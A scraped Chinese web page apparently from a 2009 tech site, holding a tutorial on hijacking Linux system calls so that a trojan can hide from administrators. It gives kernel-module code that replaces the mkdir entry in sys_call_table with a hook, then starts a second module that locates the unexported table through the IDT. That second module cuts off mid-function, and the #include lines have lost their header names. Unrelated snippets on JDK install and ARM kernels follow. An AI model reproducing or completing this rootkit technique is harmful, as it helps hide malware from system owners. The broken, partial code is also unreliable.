易截截图软件、单文件、免安装、纯绿色、仅160KB

实现Linux系统调用劫持

关于系统调用劫持
如果一个木马要隐藏起来,不被系统管理员发现。截获系统调用似乎是必须的。大部分情况下,通过修改系统调用表来实现系统调用的劫持。下面是一个典型的截获系统调用的模块:
模块一:
#include
#include
#include
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path)
{
        return 0; /*everything is ok, but he new systemcall   does nothing*/
}
int init_module(void) /*module setup*/
{
        orig_mkdir=sys_call_table[SYS_mkdir];
        sys_call_table[SYS_mkdir]=hacked_mkdir;
        return 0;
}
void cleanup_module(void) /*module shutdown*/
{
        sys_call_table[SYS_mkdir]=orig_mkdir;
/*set mkdir syscall to the origal  one*/
}
用这种方法实现系统调用有个前提,就是系统必须导出sys_call_table内核符号,但是在2.6内核和有些2.4内核的系统(比如
redhat as 3)中,sys_call_table不再导出。也就是说模块中不能再通过简单的extern void
*sys_call_table[];来获得系统调用表地址。所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面
是它的实现方法:
模块二:(2.4和2.6内核测试通过)
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("
[email=xunil@bmy]xunil@bmy[/email]
");
MODULE_DESCRIPTION("Different from others, this module  automatically locate the entry of
sys_call_table !");
unsigned long *sys_call_table=NULL;
asmlinkage int (*orig_mkdir)(const char *,int);
struct _idt
{
  unsigned short offset_low,segment_sel;
  unsigned char reserved,flags;
  unsigned short offset_high;
};
unsigned long *getscTable(){
 


相关文档:

Linux上jdk和tomcat的安装

第一:
  下载安装文件:
jdk1.6: wget  http://cds.sun.com/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_Developer-Site/en_US/-/USD/VerifyItem-Start/jdk-6u17-linux-x64-rpm.bin?BundledLineItemUUID=MAhIBe.nJasAAAEl91kuXXad&OrderID=MwxIBe.nEvEAAAEl7FkuXXad&ProductID=RPVIBe.onOYAAAEk8edn5G0y ......

基于ARM的嵌入式linux 内核的裁剪与移植


0 引言
   
微处理器的产生为价格低廉、结构小巧的CPU和外设的连
接提供了稳定可靠的硬件架构,这样,限制嵌入式系统发展的瓶颈就突出表现在了软件方面。尽管从八十年代末开始,已经陆续出现了一些嵌入式操作系统(比较著
名的有Vxwork、pSOS、Neculeus和Windows
CE)。但这些专用操作系统都是商 ......

linux下批量建目录

1:linux下批量将大写目录或文件名改为小写命令
ZIP 先打成包,ZIP -r A  A/*,再UNZIP -LL    A     B            (A/*表示A目录下的所有文件)(A和B都为.zip文件,-LL 变大写为小写的参数)
则,A包里的大写目录和文件 ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号